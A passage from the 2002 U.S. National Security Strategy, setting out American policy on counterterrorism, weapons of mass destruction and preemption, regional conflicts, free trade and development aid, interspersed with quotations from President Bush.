political and economic freedom will be able to unleash the potential of their people and assure their future prosperity. People everywhere want to say what they think; choose who will govern them; worship as they please; educate their children -- male and female; own property; and enjoy the benefits of their labor. These values of freedom are right and true for every person, in every society -- and the duty of protecting these values against their enemies is the common calling of freedom-loving people across the globe and across the ages. Today, the United States enjoys a position of unparalleled military strength and great economic and political influence. In keeping with our heritage and principles, we do not use our strength to press for unilateral advantage. We seek instead to create a balance of power that favors human freedom: conditions in which all nations and all societies can choose for themselves the rewards and challenges of political and economic liberty. By making the world safer, we allow the people of the world to make their own lives better. We will defend this just peace against threats from terrorists and tyrants. We will preserve the peace by building good relations among the great powers. We will extend the peace by encouraging free and open societies on every continent. Defending our Nation against its enemies is the first and fundamental commitment of the Federal Government. Today, that task has changed dramatically. Enemies in the past needed great armies and great industrial capabilities to endanger America. Now, shadowy networks of individuals can bring great chaos and suffering to our shores for less than it costs to purchase a single tank. Terrorists are organized to penetrate open societies and to turn the power of modern technologies against us. To defeat this threat we must make use of every tool in our arsenal -- from better homeland defenses and law enforcement to intelligence and cutting off terrorist financing. The war against terrorists of global reach is a global enterprise of uncertain duration. America will help nations that need our assistance in combating terror. And America will hold to account nations that are compromised by terror -- because the allies of terror are the enemies of civilization. The United States and countries cooperating with us must not allow the terrorists to develop new home bases. Together, we will seek to deny them sanctuary at every turn. The gravest danger our Nation faces lies at the crossroads of radicalism and technology. Our enemies have openly declared that they are seeking weapons of mass destruction, and evidence indicates that they are doing so with determination. The United States will not allow these efforts to succeed. We will build defenses against ballistic missiles and other means of delivery. We will cooperate with other nations to deny, contain, and curtail our enemies' efforts to acquire dangerous technologies. And, as a matter of common sense and self-defense, America will act against such emerging threats before they are fully formed. We cannot defend America and our friends by hoping for the best. So we must be prepared to defeat our enemies' plans, using the best intelligence and proceeding with deliberation. History will judge harshly those who saw this coming danger but failed to act. In the new world we have entered, the only path to safety is the path of action. As we defend the peace, we will also take advantage of an historic opportunity to preserve the peace. Today, the international community has the best chance since the rise of the nation-state in the seventeenth century to build a world where great powers compete in peace instead of continually prepare for war. Today, the world's great powers find ourselves on the same side -- united by common dangers of terrorist violence and chaos. The United States will build on these common interests to promote global security. We are also increasingly united by common values. Russia is in the midst of a hopeful transition, reaching for its democratic future and a partner in the war on terror. Chinese leaders are discovering that economic freedom is the only source of national wealth. In time, they will find that social and political freedom is the only source of national greatness. America will encourage the advancement of democracy and economic openness in both nations, because these are the best foundations for domestic stability and international order. We will strongly resist aggression from other great powers -- even as we welcome their peaceful pursuit of prosperity, trade, and cultural advancement. Finally, the United States will use this moment of opportunity to extend the benefits of freedom across the globe. We will actively work to bring the hope of democracy, development, free markets, and free trade to every corner of the world. The events of September 11, 2001, taught us that weak states, like Afghanistan, can pose as great a danger to our national interests as strong states. Poverty does not make poor people into terrorists and murderers. Yet poverty, weak institutions, and corruption can make weak states vulnerable to terrorist networks and drug cartels within their borders. The United States will stand beside any nation determined to build a better future by seeking the rewards of liberty for its people. Free trade and free markets have proven their ability to lift whole societies out of poverty -- so the United States will work with individual nations, entire regions, and the entire global trading community to build a world that trades in freedom and therefore grows in prosperity. The United States will deliver greater development assistance through the New Millennium Challenge Account to nations that govern justly, invest in their people, and encourage economic freedom. We will also continue to lead the world in efforts to reduce the terrible toll of AIDS and other infectious diseases. In building a balance of power that favors freedom, the United States is guided by the conviction that all nations have important responsibilities. Nations that enjoy freedom must actively fight terror. Nations that depend on international stability must help prevent the spread of weapons of mass destruction. Nations that seek international aid must govern themselves wisely, so that aid is well spent. For freedom to thrive, accountability must be expected and required. We are also guided by the conviction that no nation can build a safer, better world alone. Alliances and multilateral institutions can multiply the strength of freedom-loving nations. The United States is committed to lasting institutions like the United Nations, the World Trade Organization, the Organization of American States, and NATO as well as other long-standing alliances. Coalitions of the willing can augment these permanent institutions. In all cases, international obligations are to be taken seriously. They are not to be undertaken symbolically to rally support for an ideal without furthering its attainment. Freedom is the non-negotiable demand of human dignity; the birthright of every person -- in every civilization. Throughout history, freedom has been threatened by war and terror; it has been challenged by the clashing wills of powerful states and the evil designs of tyrants; and it has been tested by widespread poverty and disease. Today, humanity holds in its hands the opportunity to further freedom's triumph over all these foes. The United States welcomes our responsibility to lead in this great mission. I. Overview of America's International Strategy ""Our Nation's cause has always been larger than our Nation's defense. We fight, as we always fight, for a just peace -- a peace that favors liberty. We will defend the peace against the threats from terrorists and tyrants. We will preserve the peace by building good relations among the great powers. And we will extend the peace by encouraging free and open societies on every continent."" President Bush West Point, New York June 1, 2002 The United States possesses unprecedented -- and unequaled -- strength and influence in the world. Sustained by faith in the principles of liberty, and the value of a free society, this position comes with unparalleled responsibilities, obligations, and opportunity. The great strength of this nation must be used to promote a balance of power that favors freedom. For most of the twentieth century, the world was divided by a great struggle over ideas: destructive totalitarian visions versus freedom and equality. That great struggle is over. The militant visions of class, nation, and race which promised utopia and delivered misery have been defeated and discredited. America is now threatened less by conquering states than we are by failing ones. We are menaced less by fleets and armies than by catastrophic technologies in the hands of the embittered few. We must defeat these threats to our Nation, allies, and friends. This is also a time of opportunity for America. We will work to translate this moment of influence into decades of peace, prosperity, and liberty. The U.S. national security strategy will be based on a distinctly American internationalism that reflects the union of our values and our national interests. The aim of this strategy is to help make the world not just safer but better. Our goals on the path to progress are clear: political and economic freedom, peaceful relations with other states, and respect for human dignity. And this path is not America's alone. It is open to all. To achieve these goals, the United States will: * champion aspirations for human dignity; * strengthen alliances to defeat global terrorism and work to prevent attacks against us and our friends; * work with others to defuse regional conflicts; * prevent our enemies from threatening us, our allies, and our friends, with weapons of mass destruction; * ignite a new era of global economic growth through free markets and free trade; * expand the circle of development by opening societies and building the infrastructure of democracy; * develop agendas for cooperative action with other main centers of global power; and * transform America's national security institutions to meet the challenges and opportunities of the twenty-first century. II. Champion Aspirations for Human Dignity ""Some worry that it is somehow undiplomatic or impolite to speak the language of right and wrong. I disagree. Different circumstances require different methods, but not different moralities."" President Bush West Point, New York June 1, 2002 In pursuit of our goals, our first imperative is to clarify what we stand for: the United States must defend liberty and justice because these principles are right and true for all people everywhere. No nation owns these aspirations, and no nation is exempt from them. Fathers and mothers in all societies want their children to be educated and to live free from poverty and violence. No people on earth yearn to be oppressed, aspire to servitude, or eagerly await the midnight knock of the secret police. America must stand firmly for the nonnegotiable demands of human dignity: the rule of law; limits on the absolute power of the state; free speech; freedom of worship; equal justice; respect for women; religious and ethnic tolerance; and respect for private property. These demands can be met in many ways. America's constitution has served us well. Many other nations, with different histories and cultures, facing different circumstances, have successfully incorporated these core principles into their own systems of governance. History has not been kind to those nations which ignored or flouted the rights and aspirations of their people. Our own history is a long struggle to live up to our ideals. But even in our worst moments, the principles enshrined in the Declaration of Independence were there to guide us. As a result, America is not just a stronger, but is a freer and more just society. Today, these ideals are a lifeline to lonely defenders of liberty. And when openings arrive, we can encourage change -- as we did in central and eastern Europe between 1989 and 1991, or in Belgrade in 2000. When we see democratic processes take hold among our friends in Taiwan or in the Republic of Korea, and see elected leaders replace generals in Latin America and Africa, we see examples of how authoritarian systems can evolve, marrying local history and traditions with the principles we all cherish. Embodying lessons from our past and using the opportunity we have today, the national security strategy of the United States must start from these core beliefs and look outward for possibilities to expand liberty. Our principles will guide our government's decisions about international cooperation, the character of our foreign assistance, and the allocation of resources. They will guide our actions and our words in international bodies. We will: * speak out honestly about violations of the nonnegotiable demands of human dignity using our voice and vote in international institutions to advance freedom; * use our foreign aid to promote freedom and support those who struggle non-violently for it, ensuring that nations moving toward democracy are rewarded for the steps they take; * make freedom and the development of democratic institutions key themes in our bilateral relations, seeking solidarity and cooperation from other democracies while we press governments that deny human rights to move toward a better future; and * take special efforts to promote freedom of religion and conscience and defend it from encroachment by repressive governments. We will champion the cause of human dignity and oppose those who resist it. III. Strengthen Alliances to Defeat Global Terrorism and Work to Prevent Attacks Against Us and Our Friends ""Just three days removed from these events, Americans do not yet have the distance of history. But our responsibility to history is already clear: to answer these attacks and rid the world of evil. War has been waged against us by stealth and deceit and murder. This nation is peaceful, but fierce when stirred to anger. The conflict was begun on the timing and terms of others. It will end in a way, and at an hour, of our choosing."" President Bush Washington, D.C. (The National Cathedral) September 14, 2001 The United States of America is fighting a war against terrorists of global reach. The enemy is not a single political regime or person or religion or ideology. The enemy is terrorism -- premeditated, politically motivated violence perpetrated against innocents. In many regions, legitimate grievances prevent the emergence of a lasting peace. Such grievances deserve to be, and must be, addressed within a political process. But no cause justifies terror. The United States will make no concessions to terrorist demands and strike no deals with them. We make no distinction between terrorists and those who knowingly harbor or provide aid to them. The struggle against global terrorism is different from any other war in our history. It will be fought on many fronts against a particularly elusive enemy over an extended period of time. Progress will come through the persistent accumulation of successes -- some seen, some unseen. Today our enemies have seen the results of what civilized nations can, and will, do against regimes that harbor, support, and use terrorism to achieve their political goals. Afghanistan has been liberated; coalition forces continue to hunt down the Taliban and al-Qaida. But it is not only this battlefield on which we will engage terrorists. Thousands of trained terrorists remain at large with cells in North America, South America, Europe, Africa, the Middle East, and across Asia. Our priority will be first to disrupt and destroy terrorist organizations of global reach and attack their leadership; command, control, and communications; material support; and finances. This will have a disabling effect upon the terrorists' ability to plan and operate. We will continue to encourage our regional partners to take up a coordinated effort that isolates the terrorists. Once the regional campaign localizes the threat to a particular state, we will help ensure the state has the military, law enforcement, political, and financial tools necessary to finish the task. The United States will continue to work with our allies to disrupt the financing of terrorism. We will identify and block the sources of funding for terrorism, freeze the assets of terrorists and those who support them, deny terrorists access to the international financial system, protect legitimate charities from being abused by terrorists, and prevent the movement of terrorists' assets through alternative financial networks. However, this campaign need not be sequential to be effective, the cumulative effect across all regions will help achieve the results we seek. We will disrupt and destroy terrorist organizations by: * direct and continuous action using all the elements of national and international power. Our immediate focus will be those terrorist organizations of global reach and any terrorist or state sponsor of terrorism which attempts to gain or use weapons of mass destruction (WMD) or their precursors; * defending the United States, the American people, and our interests at home and abroad by identifying and destroying the threat before it reaches our borders. While the United States will constantly strive to enlist the support of the international community, we will not hesitate to act alone, if necessary, to exercise our right of self-defense by acting preemptively against such terrorists, to prevent them from doing harm against our people and our country; and * denying further sponsorship, support, and sanctuary to terrorists by convincing or compelling states to accept their sovereign responsibilities. We will also wage a war of ideas to win the battle against international terrorism. This includes: * using the full influence of the United States, and working closely with allies and friends, to make clear that all acts of terrorism are illegitimate so that terrorism will be viewed in the same light as slavery, piracy, or genocide: behavior that no respectable government can condone or support and all must oppose; * supporting moderate and modern government, especially in the Muslim world, to ensure that the conditions and ideologies that promote terrorism do not find fertile ground in any nation; * diminishing the underlying conditions that spawn terrorism by enlisting the international community to focus its efforts and resources on areas most at risk; and * using effective public diplomacy to promote the free flow of information and ideas to kindle the hopes and aspirations of freedom of those in societies ruled by the sponsors of global terrorism. While we recognize that our best defense is a good offense we are also strengthening America's homeland security to protect against and deter attack. This Administration has proposed the largest government reorganization since the Truman Administration created the National Security Council and the Department of Defense. Centered on a new Department of Homeland Security and including a new unified military command and a fundamental reordering of the FBI, our comprehensive plan to secure the homeland encompasses every level of government and the cooperation of the public and the private sector. This strategy will turn adversity into opportunity. For example, emergency management systems will be better able to cope not just with terrorism but with all hazards. Our medical system will be strengthened to manage not just bioterror, but all infectious diseases and mass-casualty dangers. Our border controls will not just stop terrorists, but improve the efficient movement of legitimate traffic. While our focus is protecting America, we know that to defeat terrorism in today's globalized world we need support from our allies and friends. Wherever possible, the United States will rely on regional organizations and state powers to meet their obligations to fight terrorism. Where governments find the fight against terrorism beyond their capacities, we will match their willpower and their resources with whatever help we and our allies can provide. As we pursue the terrorists in Afghanistan, we will continue to work with international organizations such as the United Nations, as well as non-governmental organizations, and other countries to provide the humanitarian, political, economic, and security assistance necessary to rebuild Afghanistan so that it will never again abuse its people, threaten its neighbors, and provide a haven for terrorists In the war against global terrorism, we will never forget that we are ultimately fighting for our democratic values and way of life. Freedom and fear are at war, and there will be no quick or easy end to this conflict. In leading the campaign against terrorism, we are forging new, productive international relationships and redefining existing ones in ways that meet the challenges of the twenty-first century. IV. Work with Others To Defuse Regional Conflicts ""We build a world of justice, or we will live in a world of coercion. The magnitude of our shared responsibilities makes our disagreements look so small."" President Bush Berlin, Germany May 23, 2002 Concerned nations must remain actively engaged in critical regional disputes to avoid explosive escalation and minimize human suffering. In an increasingly interconnected world, regional crisis can strain our alliances, rekindle rivalries among the major powers, and create horrifying affronts to human dignity. When violence erupts and states falter, the United States will work with friends and partners to alleviate suffering and restore stability. No doctrine can anticipate every circumstance in which U.S. action -- direct or indirect -- is warranted. We have finite political, economic, and military resources to meet our global priorities. The United States will approach each case with these strategic principles in mind: * The United States should invest time and resources into building international relationships and institutions that can help manage local crises when they emerge. * The United States should be realistic about its ability to help those who are unwilling or unready to help themselves. Where and when people are ready to do their part, we will be willing to move decisively. Policies in several key regions offer some illustrations of how we will apply these principles: The Israeli-Palestinian conflict is critical because of the toll of human suffering, because of America's close relationship with the state of Israel and key Arab states, and because of that region's importance to other global priorities of the United States. There can be no peace for either side without freedom for both sides. America stands committed to an independent and democratic Palestine, living beside Israel in peace and security. Like all other people, Palestinians deserve a government that serves their interests, and listens to their voices, and counts their votes. The United States will continue to encourage all parties to step up to their responsibilities as we seek a just and comprehensive settlement to the conflict. The United States, the international donor community, and the World Bank stand ready to work with a reformed Palestinian government on economic development, increased humanitarian assistance and a program to establish, finance, and monitor a truly independent judiciary. If Palestinians embrace democracy, and the rule of law, confront corruption, and firmly reject terror, they can count on American support for the creation of a Palestinian state. Israel also has a large stake in the success of a democratic Palestine. Permanent occupation threatens Israel's identity and democracy. So the United States continues to challenge Israeli leaders to take concrete steps to support the emergence of a viable, credible Palestinian state. As there is progress towards security, Israel forces need to withdraw fully to positions they held prior to September 28, 2000. And consistent with the recommendations of the Mitchell Committee, Israeli settlement activity in the occupied territories must stop. As violence subsides, freedom of movement should be restored, permitting innocent Palestinians to resume work and normal life. The United States can play a crucial role but, ultimately, lasting peace can only come when Israelis and Palestinians resolve the issues and end the conflict between them. In South Asia, the United States has also emphasized the need for India and Pakistan to resolve their disputes. This administration invested time and resources building strong bilateral relations with India and Pakistan. These strong relations then gave us leverage to play a constructive role when tensions in the region became acute. With Pakistan, our bilateral relations have been bolstered by Pakistan's choice to join the war against terror and move toward building a more open and tolerant society. The Administration sees India's potential to become one of the great democratic powers of the twenty-first century and has worked hard to transform our relationship accordingly. Our involvement in this regional dispute, building on earlier investments in bilateral relations, looks first to concrete steps by India and Pakistan that can help defuse military confrontation. Indonesia took courageous steps to create a working democracy and respect for the rule of law. By tolerating ethnic minorities, respecting the rule of law, and accepting open markets, Indonesia may be able to employ the engine of opportunity that has helped lift some of its neighbors out of poverty and desperation. It is the initiative by Indonesia that allows U.S. assistance to make a difference. In the Western Hemisphere we have formed flexible coalitions with countries that share our priorities, particularly Mexico, Brazil, Canada, Chile, and Colombia. Together we will promote a truly democratic hemisphere where our integration advances security, prosperity, opportunity, and hope. We will work with regional institutions, such as the Summit of the Americas process, the Organization of American States (OAS), and the Defense Ministerial of the Americas for the benefit of the entire hemisphere. Parts of Latin America confront regional conflict, especially arising from the violence of drug cartels and their accomplices. This conflict and unrestrained narcotics trafficking could imperil the health and security of the United States. Therefore we have developed an active strategy to help the Andean nations adjust their economies, enforce their laws, defeat terrorist organizations, and cut off the supply of drugs, while -- as important -- we work to reduce the demand for drugs in our own country. In Colombia, we recognize the link between terrorist and extremist groups that challenge the security of the state and drug trafficking activities that help finance the operations of such groups. We are working to help Colombia defend its democratic institutions and defeat illegal armed groups of both the left and right by extending effective sovereignty over the entire national territory and provide basic security to the Colombian people. In Africa, promise and opportunity sit side by side with disease, war, and desperate poverty. This threatens both a core value of the United States -- preserving human dignity -- and our strategic priority -- combating global terror. American interests and American principles, therefore, lead in the same direction: we will work with others for an African continent that lives in liberty, peace, and growing prosperity. Together with our European allies, we must help strengthen Africa's fragile states, help build indigenous capability to secure porous borders, and help build up the law enforcement and intelligence infrastructure to deny havens for terrorists. An ever more lethal environment exists in Africa as local civil wars spread beyond borders to create regional war zones. Forming coalitions of the willing and cooperative security arrangements are key to confronting these emerging transnational threats. Africa's great size and diversity requires a security strategy that focuses bilateral engagement, and builds coalitions of the willing. This administration will focus on three interlocking strategies for the region: * countries with major impact on their neighborhood such as South Africa, Nigeria, Kenya, and Ethiopia are anchors for regional engagement and require focused attention; * coordination with European allies and international institutions is essential for constructive conflict mediation and successful peace operations; and * Africa's capable reforming states and sub-regional organizations must be strengthened as the primary means to address transnational threats on a sustained basis. Ultimately the path of political and economic freedom presents the surest route to progress in sub-Saharan Africa, where most wars are conflicts over material resources and political access often tragically waged on the basis of ethnic and religious difference. The transition to the African Union with its stated commitment to good governance and a common responsibility for democratic political systems offers opportunities to strengthen democracy on the continent. V. Prevent Our Enemies from Threatening Us, Our Allies, and Our Friends with Weapons of Mass Destruction ""The gravest danger to freedom lies at the crossroads of radicalism and technology. When the spread of chemical and biological and nuclear weapons, along with ballistic missile technology -- when that occurs, even weak states and small groups could attain a catastrophic power to strike great nations. Our enemies have declared this very intention, and have been caught seeking these terrible weapons. They want the capability to blackmail us, or to harm us, or to harm our friends -- and we will oppose them with all our power."" President Bush West Point, New York June 1, 2002 The nature of the Cold War threat required the United States -- with our allies and friends -- to emphasize deterrence of the enemy's use of force, producing a grim strategy of mutual assured destruction. With the collapse of the Soviet Union and the end of the Cold War, our security environment has undergone profound transformation. Having moved from confrontation to cooperation as the hallmark of our relationship with Russia, the dividends are evident: an end to the balance of terror that divided us; an historic reduction in the nuclear arsenals on both sides; and cooperation in areas such as counterterrorism and missile defense that until recently were inconceivable. But new deadly challenges have emerged from rogue states and terrorists. None of these contemporary threats rival the sheer destructive power that was arrayed against us by the Soviet Union. However, the nature and motivations of these new adversaries, their determination to obtain destructive powers hitherto available only to the world's strongest states, and the greater likelihood that they will use weapons of mass destruction against us, make today's security environment more complex and dangerous. In the 1990s we witnessed the emergence of a small number of rogue states that, while different in important ways, share a number of attributes. These states: * brutalize their own people and squander their national resources for the personal gain of the rulers; * display no regard for international law, threaten their neighbors, and callously violate international treaties to which they are party; * are determined to acquire weapons of mass destruction, along with other advanced military technology, to be used as threats or offensively to achieve the aggressive designs of these regimes; * sponsor terrorism around the globe; and * reject basic human values and hate the United States and everything for which it stands. At the time of the Gulf War, we acquired irrefutable proof that Iraq's designs were not limited to the chemical weapons it had used against Iran and its own people, but also extended to the acquisition of nuclear weapons and biological agents. In the past decade North Korea has become the world's principal purveyor of ballistic missiles, and has tested increasingly capable missiles while developing its own WMD arsenal. Other rogue regimes seek nuclear, biological, and chemical weapons as well. These states' pursuit of, and global trade in, such weapons has become a looming threat to all nations. We must be prepared to stop rogue states and their terrorist clients before they are able to threaten or use weapons of mass destruction against the United States and our allies and friends. Our response must take full advantage of strengthened alliances, the establishment of new partnerships with former adversaries, innovation in the use of military forces, modern technologies, including the development of an effective missile defense system, and increased emphasis on intelligence collection and analysis. Our comprehensive strategy to combat WMD includes: * Proactive counterproliferation efforts. We must deter and defend against the threat before it is unleashed. We must ensure that key capabilities -- detection, active and passive defenses, and counterforce capabilities -- are integrated into our defense transformation and our homeland security systems. Counterproliferation must also be integrated into the doctrine, training, and equipping of our forces and those of our allies to ensure that we can prevail in any conflict with WMD-armed adversaries. * Strengthened nonproliferation efforts to prevent rogue states and terrorists from acquiring the materials, technologies and expertise necessary for weapons of mass destruction. We will enhance diplomacy, arms control, multilateral export controls, and threat reduction assistance that impede states and terrorists seeking WMD, and when necessary, interdict enabling technologies and materials. We will continue to build coalitions to support these efforts, encouraging their increased political and financial support for nonproliferation and threat reduction programs. The recent G-8 agreement to commit up to $20 billion to a global partnership against proliferation marks a major step forward. * Effective consequence management to respond to the effects of WMD use, whether by terrorists or hostile states. Minimizing the effects of WMD use against our people will help deter those who possess such weapons and dissuade those who seek to acquire them by persuading enemies that they cannot attain their desired ends. The United States must also be prepared to respond to the effects of WMD use against our forces abroad, and to help friends and allies if they are attacked. It has taken almost a decade for us to comprehend the true nature of this new threat. Given the goals of rogue states and terrorists, the United States can no longer solely rely on a reactive posture as we have in the past. The inability to deter a potential attacker, the immediacy of today's threats, and the magnitude of potential harm that could be caused by our adversaries' choice of weapons, do not permit that option. We cannot let our enemies strike first. * In the Cold War, especially following the Cuban missile crisis, we faced a generally status quo, risk-averse adversary. Deterrence was an effective defense. But deterrence based only upon the threat of retaliation is far less likely to work against leaders of rogue states more willing to take risks, gambling with the lives of their people, and the wealth of their nations. * In the Cold War, weapons of mass destruction were considered weapons of last resort whose use risked the destruction of those who used them. Today, our enemies see weapons of mass destruction as weapons of choice. For rogue states these weapons are tools of intimidation and military aggression against their neighbors. These weapons may also allow these states to attempt to blackmail the United States and our allies to prevent us from deterring or repelling the aggressive behavior of rogue states. Such states also see these weapons as their best means of overcoming the conventional superiority of the United States. * Traditional concepts of deterrence will not work against a terrorist enemy whose avowed tactics are wanton destruction and the targeting of innocents; whose so-called soldiers seek martyrdom in death and whose most potent protection is statelessness. The overlap between states that sponsor terror and those that pursue WMD compels us to action. For centuries, international law recognized that nations need not suffer an attack before they can lawfully take action to defend themselves against forces that present an imminent danger of attack. Legal scholars and international jurists often conditioned the legitimacy of preemption on the existence of an imminent threat -- most often a visible mobilization of armies, navies, and air forces preparing to attack. We must adapt the concept of imminent threat to the capabilities and objectives of today's adversaries. Rogue states and terrorists do not seek to attack us using conventional means. They know such attacks would fail. Instead, they rely on acts of terrorism and, potentially, the use of weapons of mass destruction -- weapons that can be easily concealed and delivered covertly and without warning. The targets of these attacks are our military forces and our civilian population, in direct violation of one of the principal norms of the law of warfare. As was demonstrated by the losses on September 11, 2001, mass civilian casualties is the specific objective of terrorists and these losses would be exponentially more severe if terrorists acquired and used weapons of mass destruction. The United States has long maintained the option of preemptive actions to counter a sufficient threat to our national security. The greater the threat, the greater is the risk of inaction -- and the more compelling the case for taking anticipatory action to defend ourselves, even if uncertainty remains as to the time and place of the enemy's attack. To forestall or prevent such hostile acts by our adversaries, the United States will, if necessary, act preemptively. The United States will not use force in all cases to preempt emerging threats, nor should nations use preemption as a pretext for aggression. Yet in an age where the enemies of civilization openly and actively seek the world's most destructive technologies, the United States cannot remain idle while dangers gather. We will always proceed deliberately, weighing the consequences of our actions. To support preemptive options, we will: * build better, more integrated intelligence capabilities to provide timely, accurate information on threats, wherever they may emerge; * coordinate closely with allies to form a common assessment of the most dangerous threats; and * continue to transform our military forces to ensure our ability to conduct rapid and precise operations to achieve decisive results. The purpose of our actions will always be to eliminate a specific threat to the United States or our allies and friends. The reasons for our actions will be clear, the force measured, and the cause just. VI. Ignite a New Era of Global Economic Growth through Free Markets and Free Trade. ""When nations close their markets and opportunity is hoarded by a privileged few, no amount -- no amount -- of development aid is ever enough. When nations respect their people, open markets, invest in better health and education, every dollar of aid, every dollar of trade revenue and domestic capital is used more effectively."" President Bush Monterrey, Mexico March 22, 2002 A strong world economy enhances our national security by advancing prosperity and freedom in the rest of the world. Economic growth supported by free trade and free markets creates new jobs and higher incomes. It allows people to lift their lives out of poverty, spurs economic and legal reform, and the fight against corruption, and it reinforces the habits of liberty. We will promote economic growth and economic freedom beyond America's shores. All governments are responsible for creating their own economic policies and responding to their own economic challenge. We will use our economic engagement with other countries to underscore the benefits of policies that generate higher productivity and sustained economic growth, including: * pro-growth legal and regulatory policies to encourage business investment, innovation, and entrepreneurial activity; * tax policies -- particularly lower marginal tax rates -- that improve incentives for work and investment; * rule of law and intolerance of corruption so that people are confident that they will be able to enjoy the fruits of their economic endeavors; * strong financial systems that allow capital to be put to its most efficient use; * sound fiscal policies to support business activity; * investments in health and education that improve the well-being and skills of the labor force and population as a whole; and * free trade that provides new avenues for growth and fosters the diffusion of technologies and ideas that increase productivity and opportunity. The lessons of history are clear: market economies, not command-and-control economies with the heavy hand of government, are the best way to promote prosperity and reduce poverty. Policies that further strengthen market incentives and market institutions are relevant for all economies -- industrialized countries, emerging markets, and the developing world. A return to strong economic growth in Europe and Japan is vital to U.S. national security interests. We want our allies to have strong economies for their own sake, for the sake of the global economy, and for the sake of global security. European efforts to remove structural barriers in their economies are particularly important in this regard, as are Japan's efforts to end deflation and address the problems of non-performing loans in the Japanese banking system. We will continue to use our regular consultations with Japan and our European partners -- including through the Group of Seven (G-7) -- to discuss policies they are adopting to promote growth in their economies and support higher global economic growth. Improving stability in emerging markets is also key to global economic growth. International flows of investment capital are needed to expand the productive potential of these economies. These flows allow emerging markets and developing countries to make the investments that raise living standards and reduce poverty. Our long-term objective should be a world in which all countries have investment-grade credit ratings that allow them access to international capital markets and to invest in their future. We are committed to policies that will help emerging markets achieve access to larger capital flows at lower cost. To this end, we will continue to pursue reforms aimed at reducing uncertainty in financial markets. We will work actively with other countries, the International Monetary Fund (IMF), and the private sector to implement the G-7 Action Plan negotiated earlier this year for preventing financial crises and more effectively resolving them when they occur. The best way to deal with financial crises is to prevent them from occurring, and we have encouraged the IMF to improve its efforts doing so. We will continue to work with the IMF to streamline the policy conditions for its lending and to focus its lending strategy on achieving economic growth through sound fiscal and monetary policy, exchange rate policy, and financial sector policy. The concept of ""free trade"" arose as a moral principle even before it became a pillar of economics. If you can make something that others value, you should be able to sell it to them. If others make something that you value, you should be able to buy it. This is real freedom, the freedom for a person -- or a nation -- to make a living. To promote free trade, the Unites States has developed a comprehensive strategy: * Seize the global initiative. The new global trade negotiations we helped launch at Doha in November 2001 will have an ambitious agenda, especially in agriculture, manufacturing, and services, targeted for completion in 2005. The United States has led the way in completing the accession of China and a democratic Taiwan to the World Trade Organization. We will assist Russia's preparations to join the WTO. * Press regional initiatives. The United States and other democracies in the Western Hemisphere have agreed to create the Free Trade Area of the Americas, targeted for completion in 2005. This year the United States will advocate market-access negotiations with its partners, targeted on agriculture, industrial goods, services, investment, and government procurement. We will also offer more opportunity to the poorest continent, Africa, starting with full use of the preferences allowed in the African Growth and Opportunity Act, and leading to free trade. * Move ahead with bilateral free trade agreements. Building on the free trade agreement with Jordan enacted in 2001, the Administration will work this year to complete free trade agreements with Chile and Singapore. Our aim is to achieve free trade agreements with a mix of developed and developing countries in all regions of the world. Initially, Central America, Southern Africa, Morocco, and Australia will be our principal focal points. * Renew the executive-congressional partnership. Every administration's trade strategy depends on a productive partnership with Congress. After a gap of 8 years, the Administration reestablished majority support in the Congress for trade liberalization by passing Trade Promotion Authority and the other market opening measures for developing countries in the Trade Act of 2002. This Administration will work with Congress to enact new bilateral, regional, and global trade agreements that will be concluded under the recently passed Trade Promotion Authority. * Promote the connection between trade and development. Trade policies can help developing countries strengthen property rights, competition, the rule of law, investment, the spread of knowledge, open societies, the efficient allocation of resources, and regional integration -- all leading to growth, opportunity, and confidence in developing countries. The United States is implementing The Africa Growth and Opportunity Act to provide market-access for nearly all goods produced in the 35 countries of sub-Saharan Africa. We will make more use of this act and its equivalent for the Caribbean Basin and continue to work with multilateral and regional institutions to help poorer countries take advantage of these opportunities. Beyond market access, the most important area where trade intersects with poverty is in public health. We will ensure that the WTO intellectual property rules are flexible enough to allow developing nations to gain access to critical medicines for extraordinary dangers like HIV/AIDS, tuberculosis, and malaria. * Enforce trade agreements and laws against unfair practices. Commerce depends on the rule of law; international trade depends on enforceable agreements. Our top priorities are to resolve ongoing disputes with the European Union, Canada, and Mexico and to make a global effort to address new technology, science, and health regulations that needlessly impede farm exports and improved agriculture. Laws against unfair trade practices are often abused, but the international community must be able to address genuine concerns about government subsidies and dumping. International industrial espionage which undermines fair competition must be detected and deterred. * Help domestic industries and workers adjust. There is a sound statutory framework for these transitional safeguards which we have used in the agricultural sector and which we are using this year to help the American steel industry. The benefits of free trade depend upon the enforcement of fair trading practices. These safeguards help ensure that the benefits of free trade do not come at the expense of American workers. Trade adjustment assistance will help workers adapt to the change and dynamism of open markets. * Protect the environment and workers. The United States must foster economic growth in ways that will provide a better life along with widening prosperity. We will incorporate labor and environmental concerns into U.S. trade negotiations, creating a healthy ""network"" between multilateral environmental agreements with the WTO, and use the International Labor Organization, trade preference programs, and trade talks to improve working conditions in conjunction with freer trade. * Enhance energy security. We will strengthen our own energy security and the shared prosperity of the global economy by working with our allies, trading partners, and energy producers to expand the sources and types of global energy supplied, especially in the Western Hemisphere, Africa, Central Asia, and the Caspian region. We will also continue to work with our partners to develop cleaner and more energy efficient technologies. Economic growth should be accompanied by global efforts to stabilize greenhouse gas concentrations associated with this growth, containing them at a level that prevents dangerous human interference with the global climate. Our overall objective is to reduce America's greenhouse gas emissions relative to the size of our economy, cutting such emissions per unit of economic activity by 18 percent over the next 10 years, by the year 2012. Our strategies for attaining this goal will be to: * remain committed to the basic U.N. Framework Convention for international cooperation; * obtain agreements with key industries to cut emissions of some of the most potent greenhouse gases and give transferable credits to companies that can show real cuts; * develop improved standards for measuring and registering emission reductions; * promote renewable energy production and clean coal technology, as well as nuclear power -- which produces no greenhouse gas emissions, while also improving fuel economy for U.S. cars and trucks; * increase spending on research and new conservation technologies, to a total of $4.5 billion -- the largest sum being spent on climate change by any country in the world and a $700 million increase over last year's budget; and * assist developing countries, especially the major greenhouse gas emitters such as China and India, so that they will have the tools and resources to join this effort and be able to grow along a cleaner and better path. VII. Expand the Circle of Development by Opening Societies and Building the Infrastructure of Democracy ""In World War II we fought to make the world safer, then worked to rebuild it. As we wage war today to keep the world safe from terror, we must also work to make the world a better place for all its citizens."" President Bush Washington, D.C. (Inter-American Development Bank) March 14, 2002 A world where some live in comfort and plenty, while half of the human race lives on less than $2 a day, is neither just nor stable. Including all of the world's poor in an expanding circle of development -- and opportunity -- is a moral imperative and one of the top priorities of U.S. international policy. Decades of massive development assistance have failed to spur economic growth in the poorest countries. Worse, development aid has often served to prop up failed policies, relieving the pressure for reform and perpetuating misery. Results of aid are typically measured in dollars spent by donors, not in the rates of growth and poverty reduction achieved by recipients. These are the indicators of a failed strategy. Working with other nations, the United States is 